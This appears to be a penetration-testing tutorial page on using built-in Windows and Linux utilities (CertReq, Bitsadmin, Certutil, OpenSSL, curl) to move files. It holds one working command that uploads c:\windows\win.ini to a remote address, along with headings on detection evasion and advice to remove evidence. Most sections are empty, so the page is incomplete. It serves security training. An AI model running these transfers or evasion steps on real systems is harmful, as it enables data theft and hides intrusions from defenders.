Living off the Land - File transfers

Living off The Land File Transfers

Living off the Land (LOL) techniques use built-in system utilities to perform operations rather than introducing external tools. For file transfers, these techniques help avoid detection by using legitimate binaries that already exist on the target system.

Understanding LOLBins

The term LOLBins (Living off the Land binaries) originated from a Twitter discussion about binaries that attackers can use beyond their intended purpose. Two main resources document these binaries:

LOLBins can perform various functions including:

  • File downloads and uploads

  • Command execution

  • File read and write operations

  • Security bypass techniques

Windows LOLBins for File Transfers

CertReq.exe

CertReq is a Windows certificate request tool that can be repurposed to upload files.

# Upload a file to remote server
certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini

On the receiving end, a simple netcat listener will capture the uploaded content:

Example output:

Bitsadmin

The Background Intelligent Transfer Service (BITS) is designed for file transfers with bandwidth throttling.

PowerShell also provides BITS capabilities:

Certutil

Certutil is a Windows certificate management tool that can download files:

Note: Modern antivirus solutions often flag certutil download operations.

Linux LOLBins for File Transfers

OpenSSL

OpenSSL is commonly used for cryptographic operations but can transfer files similarly to netcat.

Server Side Setup

Client Side Download

Wget and Curl

While primarily download tools, they can be used for uploads in combination with web servers:

SSH/SCP/SFTP

These tools are designed for secure file transfers but can be considered LOLBins when used creatively:

Advanced LOL Techniques

Alternate Data Streams (Windows)

Base64 Command Line Transfers

Detection Evasion Techniques

Modifying User-Agent Strings

Traffic Encryption

Transfer Chunking

Identifying Transfer Capabilities

When assessing which LOLBins to use for file transfers, check for available tools:

Best Practices

  1. Use native tools first to avoid introducing new binaries

  2. Test transfers beforehand in similar environments

  3. Consider size limitations of different methods

  4. Be aware of logging mechanisms that might detect LOLBin abuse

  5. Clean up after transfers to remove evidence

  6. Use encrypted transfers when possible

Last updated